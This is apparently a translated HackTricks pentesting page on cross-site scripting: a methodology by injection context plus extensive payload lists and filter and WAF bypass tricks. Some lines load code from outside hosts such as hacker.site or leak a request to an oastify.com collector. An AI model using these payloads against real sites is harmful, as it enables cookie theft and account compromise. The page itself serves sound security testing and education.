.. | ||
abusing-service-workers.md | ||
chrome-cache-to-xss.md | ||
debugging-client-side-js.md | ||
dom-clobbering.md | ||
dom-invader.md | ||
dom-xss.md | ||
iframes-in-xss-and-csp.md | ||
integer-overflow.md | ||
js-hoisting.md | ||
other-js-tricks.md | ||
pdf-injection.md | ||
README.md | ||
server-side-xss-dynamic-pdf.md | ||
shadow-dom.md | ||
sniff-leak.md | ||
some-same-origin-method-execution.md | ||
steal-info-js.md | ||
xss-in-markdown.md | ||
xss-tools.md |
XSS (Cross Site Scripting)
Si vous êtes intéressé par une carrière en hacking et que vous souhaitez hacker l'inhackable - nous recrutons ! (polonais courant écrit et parlé requis).
{% embed url="https://www.stmcyber.com/careers" %}
Méthodologie
- Vérifiez si une valeur que vous contrôlez (paramètres, chemin, en-têtes?, cookies?) est réfléchie dans le HTML ou utilisée par le code JS.
- Trouvez le contexte où elle est réfléchie/utilisée.
- Si réfléchie
- Vérifiez quels symboles vous pouvez utiliser et en fonction de cela, préparez le payload :
- En HTML brut :
- Pouvez-vous créer de nouvelles balises HTML ?
- Pouvez-vous utiliser des événements ou des attributs supportant le protocole
javascript:
? - Pouvez-vous contourner les protections ?
- Le contenu HTML est-il interprété par un moteur JS côté client (AngularJS, VueJS, Mavo...), vous pourriez abuser d'une Injection de Template Côté Client.
- Si vous ne pouvez pas créer de balises HTML qui exécutent du code JS, pourriez-vous abuser d'une Injection HTML sans script - Dangling Markup ?
- À l'intérieur d'une balise HTML :
- Pouvez-vous sortir du contexte HTML brut ?
- Pouvez-vous créer de nouveaux événements/attributs pour exécuter du code JS ?
- L'attribut où vous êtes piégé supporte-t-il l'exécution de JS ?
- Pouvez-vous contourner les protections ?
- À l'intérieur du code JavaScript :
- Pouvez-vous échapper à la balise
<script>
? - Pouvez-vous échapper à la chaîne et exécuter un code JS différent ?
- Vos entrées sont-elles dans des littéraux de template `` ?
- Pouvez-vous contourner les protections ?
- Fonction JavaScript exécutée
- Vous pouvez indiquer le nom de la fonction à exécuter. par ex. :
?callback=alert(1)
- Si utilisée :
- Vous pourriez exploiter un DOM XSS, faites attention à la façon dont votre entrée est contrôlée et si votre entrée contrôlée est utilisée par un sink.
Lorsque vous travaillez sur un XSS complexe, il peut être intéressant de connaître :
{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}
Valeurs réfléchies
Pour exploiter avec succès un XSS, la première chose que vous devez trouver est une valeur contrôlée par vous qui est réfléchie dans la page web.
- Réfléchie de manière intermédiaire : Si vous constatez que la valeur d'un paramètre ou même le chemin est réfléchi dans la page web, vous pourriez exploiter un XSS Réfléchi.
- Stockée et réfléchie : Si vous constatez qu'une valeur contrôlée par vous est enregistrée sur le serveur et est réfléchie chaque fois que vous accédez à une page, vous pourriez exploiter un XSS Stocké.
- Accédée via JS : Si vous constatez qu'une valeur contrôlée par vous est accédée en utilisant JS, vous pourriez exploiter un DOM XSS.
Contextes
Lorsque vous essayez d'exploiter un XSS, la première chose que vous devez savoir est où votre entrée est réfléchie. En fonction du contexte, vous serez en mesure d'exécuter du code JS arbitraire de différentes manières.
HTML brut
Si votre entrée est réfléchie sur la page HTML brute, vous devrez abuser de certaines balises HTML pour exécuter du code JS : <img , <iframe , <svg , <script
... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.
De plus, gardez à l'esprit Injection de Template Côté Client.
À l'intérieur des attributs de balises HTML
Si votre entrée est réfléchie à l'intérieur de la valeur de l'attribut d'une balise, vous pourriez essayer :
- D'échapper de l'attribut et de la balise (alors vous serez dans le HTML brut) et de créer une nouvelle balise HTML à abuser :
"><img [...]
- Si vous pouvez échapper de l'attribut mais pas de la balise (
>
est encodé ou supprimé), selon la balise, vous pourriez créer un événement qui exécute du code JS :" autofocus onfocus=alert(1) x="
- Si vous ne pouvez pas échapper de l'attribut (
"
est encodé ou supprimé), alors selon quel attribut votre valeur est réfléchie et si vous contrôlez toute la valeur ou juste une partie, vous pourrez en abuser. Par exemple, si vous contrôlez un événement commeonclick=
, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué. Un autre exemple intéressant est l'attributhref
, où vous pouvez utiliser le protocolejavascript:
pour exécuter du code arbitraire :href="javascript:alert(1)"
- Si votre entrée est réfléchie à l'intérieur de "balises non exploitables", vous pourriez essayer le truc de
accesskey
pour abuser de la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) :" accesskey="x" onclick="alert(1)" x="
Exemple étrange d'Angular exécutant XSS si vous contrôlez un nom de classe :
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
À l'intérieur du code JavaScript
Dans ce cas, votre entrée est reflétée entre les balises <script> [...] </script>
d'une page HTML, à l'intérieur d'un fichier .js
ou à l'intérieur d'un attribut utilisant le protocole javascript:
:
- Si reflété entre les balises
<script> [...] </script>
, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter</script>
et de sortir de ce contexte. Cela fonctionne parce que le navigateur analysera d'abord les balises HTML puis le contenu, donc il ne remarquera pas que votre balise</script>
injectée est à l'intérieur du code HTML. - Si reflété à l'intérieur d'une chaîne JS et que le dernier truc ne fonctionne pas, vous devrez sortir de la chaîne, exécuter votre code et reconstruire le code JS (s'il y a une erreur, il ne sera pas exécuté) :
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- Si reflété à l'intérieur de littéraux de modèle, vous pouvez intégrer des expressions JS en utilisant la syntaxe
${ ... }
:var greetings = `Hello, ${alert(1)}`
- L'encodage Unicode fonctionne pour écrire du code javascript valide :
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Javascript Hoisting
Javascript Hoisting fait référence à la possibilité de déclarer des fonctions, des variables ou des classes après leur utilisation afin de pouvoir abuser des scénarios où un XSS utilise des variables ou des fonctions non déclarées.
Consultez la page suivante pour plus d'informations :
{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}
Javascript Function
Plusieurs pages web ont des points de terminaison qui acceptent comme paramètre le nom de la fonction à exécuter. Un exemple courant à voir dans la nature est quelque chose comme : ?callback=callbackFunc
.
Une bonne façon de découvrir si quelque chose donné directement par l'utilisateur essaie d'être exécuté est de modifier la valeur du paramètre (par exemple à 'Vulnerable') et de chercher dans la console des erreurs comme :
Dans le cas où c'est vulnérable, vous pourriez être en mesure de déclencher une alerte juste en envoyant la valeur : ?callback=alert(1)
. Cependant, il est très courant que ces points de terminaison valident le contenu pour n'autoriser que les lettres, les chiffres, les points et les traits de soulignement ([\w\._]
).
Cependant, même avec cette limitation, il est toujours possible d'effectuer certaines actions. Cela est dû au fait que vous pouvez utiliser ces caractères valides pour accéder à n'importe quel élément dans le DOM :
Certaines fonctions utiles pour cela :
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Vous pouvez également essayer de déclencher des fonctions Javascript directement : obj.sales.delOrders
.
Cependant, généralement, les points de terminaison exécutant la fonction indiquée sont des points de terminaison sans beaucoup de DOM intéressant, d'autres pages dans la même origine auront un DOM plus intéressant pour effectuer plus d'actions.
Par conséquent, afin de profiter de cette vulnérabilité dans un DOM différent, l'exploitation de la Same Origin Method Execution (SOME) a été développée :
{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
DOM
Il y a du code JS qui utilise de manière non sécurisée certaines données contrôlées par un attaquant comme location.href
. Un attaquant pourrait en abuser pour exécuter du code JS arbitraire.
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Universal XSS
Ces types de XSS peuvent être trouvés partout. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de tout contexte. Ces types d'exécution JavaScript arbitraire peuvent même être abusés pour obtenir RCE, lire des fichiers arbitraires sur les clients et les serveurs, et plus encore.
Quelques exemples :
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}
Contournement de WAF encodage image
Injection dans le HTML brut
Lorsque votre entrée est reflétée dans la page HTML ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la première chose que vous devez faire est de vérifier si vous pouvez abuser de <
pour créer de nouvelles balises : Essayez simplement de refléter ce caractère et vérifiez s'il est HTML encodé ou supprimé ou s'il est reflété sans modifications. Ce n'est que dans ce dernier cas que vous pourrez exploiter ce cas.
Pour ces cas, gardez également à l'esprit Client Side Template Injection.
Remarque : Un commentaire HTML peut être fermé en utilisant** -->
ou ****--!>
**
Dans ce cas et si aucun filtrage par liste noire/liste blanche n'est utilisé, vous pourriez utiliser des charges utiles comme :
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
Mais, si le filtrage des balises/attributs est utilisé, vous devrez forcer par brute la création de balises.
Une fois que vous avez localisé les balises autorisées, vous devrez forcer par brute les attributs/événements à l'intérieur des balises valides trouvées pour voir comment vous pouvez attaquer le contexte.
Forçage par brute des balises/événements
Allez sur https://portswigger.net/web-security/cross-site-scripting/cheat-sheet et cliquez sur Copier les balises dans le presse-papiers. Ensuite, envoyez-les toutes en utilisant Burp intruder et vérifiez si des balises n'ont pas été découvertes comme malveillantes par le WAF. Une fois que vous avez découvert quelles balises vous pouvez utiliser, vous pouvez forcer par brute tous les événements en utilisant les balises valides (sur la même page web, cliquez sur Copier les événements dans le presse-papiers et suivez la même procédure qu'auparavant).
Balises personnalisées
Si vous n'avez trouvé aucune balise HTML valide, vous pouvez essayer de créer une balise personnalisée et d'exécuter du code JS avec l'attribut onfocus
. Dans la requête XSS, vous devez terminer l'URL par #
pour faire en sorte que la page se concentre sur cet objet et exécute le code :
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Contournements de liste noire
Si une sorte de liste noire est utilisée, vous pourriez essayer de la contourner avec quelques astuces idiotes :
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Contournement de longueur (petits XSS)
{% hint style="info" %} Plus de petits XSS pour différents environnements payload peut être trouvé ici et ici. {% endhint %}
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>
The last one is using 2 unicode characters which expands to 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
If in order to exploit the vulnerability you need the utilisateur to click a link or a form with prepopulated data you could try to abuse Clickjacking (if the page is vulnerable).
Impossible - Dangling Markup
If you just think that c'est impossible to create an HTML tag with an attribute to execute JS code, you should check Danglig Markup because you could exploit the vulnerability without executing JS code.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
If you are in inside a HTML tag, the first thing you could try is to escape from the tag and use some of the techniques mentioned in the previous section to execute JS code.
If you cannot escape from the tag, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Événements de style
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Dans l'attribut
Même si vous ne pouvez pas échapper à l'attribut ("
est encodé ou supprimé), selon quel attribut votre valeur est reflétée si vous contrôlez toute la valeur ou juste une partie, vous pourrez en abuser. Par exemple, si vous contrôlez un événement comme onclick=
, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué.
Un autre exemple intéressant est l'attribut href
, où vous pouvez utiliser le protocole javascript:
pour exécuter du code arbitraire : href="javascript:alert(1)"
Contourner à l'intérieur de l'événement en utilisant l'encodage HTML/l'encodage URL
Les caractères encodés en HTML à l'intérieur de la valeur des attributs des balises HTML sont décodés à l'exécution. Par conséquent, quelque chose comme ce qui suit sera valide (la charge utile est en gras) : <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Retour </a>
Notez que tout type d'encodage HTML est valide :
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Notez que l'encodage URL fonctionnera également :
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Contourner l'événement interne en utilisant l'encodage Unicode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Protocoles spéciaux dans l'attribut
Là, vous pouvez utiliser les protocoles javascript:
ou data:
à certains endroits pour exécuter du code JS arbitraire. Certains nécessiteront une interaction de l'utilisateur, d'autres non.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascriptΪlert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Lieux où vous pouvez injecter ces protocoles
En général, le protocole javascript:
peut être utilisé dans n'importe quelle balise qui accepte l'attribut href
et dans la plupart des balises qui acceptent l'attribut src
(mais pas <img
)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Autres astuces d'obfuscation
Dans ce cas, l'encodage HTML et l'astuce d'encodage Unicode de la section précédente sont également valables car vous êtes à l'intérieur d'un attribut.
<a href="javascript:var a=''-alert(1)-''">
De plus, il existe une autre astuce sympa pour ces cas : Même si votre entrée à l'intérieur de javascript:...
est encodée en URL, elle sera décodée en URL avant d'être exécutée. Donc, si vous devez vous échapper de la chaîne en utilisant une apostrophe et que vous voyez qu'elle est encodée en URL, rappelez-vous que cela n'a pas d'importance, elle sera interprétée comme une apostrophe pendant le temps d'exécution.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Notez que si vous essayez d'utiliser les deux URLencode + HTMLencode
dans n'importe quel ordre pour encoder le payload, cela ne fonctionnera pas, mais vous pouvez les mélanger à l'intérieur du payload.
Utilisation de l'encodage Hex et Octal avec javascript:
Vous pouvez utiliser l'encodage Hex et Octal à l'intérieur de l'attribut src
de iframe
(au moins) pour déclarer des tags HTML pour exécuter JS :
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Si vous pouvez injecter n'importe quelle URL dans une balise <a href=
arbitraire qui contient les attributs target="_blank" et rel="opener"
, consultez la page suivante pour exploiter ce comportement :
{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}
sur le contournement des gestionnaires d'événements
Tout d'abord, consultez cette page (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) pour des "gestionnaires d'événements" on utiles.
Dans le cas où il y aurait une liste noire vous empêchant de créer ces gestionnaires d'événements, vous pouvez essayer les contournements suivants :
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS dans "Tags inexploitable" (input caché, lien, canonique, méta)
Depuis ici il est maintenant possible d'abuser des inputs cachés avec :
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
Et dans les meta tags :
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Depuis ici : Vous pouvez exécuter une charge utile XSS à l'intérieur d'un attribut caché, à condition de persuader la victime d'appuyer sur la combinaison de touches. Sur Firefox Windows/Linux, la combinaison de touches est ALT+SHIFT+X et sur OS X, c'est CTRL+ALT+X. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut d'accès. Voici le vecteur :
<input type="hidden" accesskey="X" onclick="alert(1)">
La charge utile XSS sera quelque chose comme ceci : " accesskey="x" onclick="alert(1)" x="
Contournements de liste noire
Plusieurs astuces utilisant différents encodages ont déjà été exposées dans cette section. Retournez apprendre où vous pouvez utiliser :
- Encodage HTML (balises HTML)
- Encodage Unicode (peut être un code JS valide) :
\u0061lert(1)
- Encodage URL
- Encodage Hex et Octal
- Encodage de données
Contournements pour les balises et attributs HTML
Lisez les Contournements de liste noire de la section précédente.
Contournements pour le code JavaScript
Lisez la liste noire de contournement JavaScript de la section suivante.
CSS-Gadgets
Si vous avez trouvé un XSS dans une très petite partie du web qui nécessite une sorte d'interaction (peut-être un petit lien dans le pied de page avec un élément onmouseover), vous pouvez essayer de modifier l'espace que cet élément occupe pour maximiser les probabilités que le lien soit déclenché.
Par exemple, vous pourriez ajouter un style à l'élément comme : position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Mais, si le WAF filtre l'attribut de style, vous pouvez utiliser des CSS Styling Gadgets, donc si vous trouvez, par exemple
.test {display:block; color: blue; width: 100%}
et
#someid {top: 0; font-family: Tahoma;}
Maintenant, vous pouvez modifier notre lien et le ramener à la forme
<a href="" id=someid class=test onclick=alert() a="">
Cette astuce a été tirée de https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injection dans le code JavaScript
Dans ce cas, votre entrée va être réfléchie dans le code JS d'un fichier .js
ou entre les balises <script>...</script>
ou entre des événements HTML qui peuvent exécuter du code JS ou entre des attributs qui acceptent le protocole javascript:
.
Échapper la balise <script>
Si votre code est inséré dans <script> [...] var input = 'données réfléchies' [...] </script>
, vous pourriez facilement échapper la fermeture de la balise <script>
:
</script><img src=1 onerror=alert(document.domain)>
Notez que dans cet exemple, nous n'avons même pas fermé l'apostrophe. Cela est dû au fait que l'analyse HTML est effectuée en premier par le navigateur, ce qui implique l'identification des éléments de la page, y compris les blocs de script. L'analyse de JavaScript pour comprendre et exécuter les scripts intégrés n'est effectuée qu'ensuite.
À l'intérieur du code JS
Si <>
sont assainis, vous pouvez toujours échapper la chaîne où votre entrée est située et exécuter du JS arbitraire. Il est important de corriger la syntaxe JS, car s'il y a des erreurs, le code JS ne sera pas exécuté :
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
Template literals ``
Pour construire des chaînes en plus des guillemets simples et doubles, JS accepte également les backticks ``
. Cela s'appelle des littéraux de modèle car ils permettent d'imbriquer des expressions JS en utilisant la syntaxe ${ ... }
.
Par conséquent, si vous constatez que votre entrée est réfléchie à l'intérieur d'une chaîne JS utilisant des backticks, vous pouvez abuser de la syntaxe ${ ... }
pour exécuter du code JS arbitraire :
Cela peut être abusé en utilisant :
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````
Exécution de code encodé
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Exécution JS encodée en Unicode
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Techniques de contournement des listes noires JavaScript
Chaînes
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Échappements spéciaux
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself
Substitutions d'espace dans le code JS
<TAB>
/**/
Commentaires JavaScript (provenant de Commentaires JavaScript astuce)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
Sauts de ligne JavaScript (à partir de truc de saut de ligne JavaScript )
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
Espaces blancs JavaScript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript à l'intérieur d'un commentaire
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript sans parenthèses
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Appel de fonction arbitraire (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
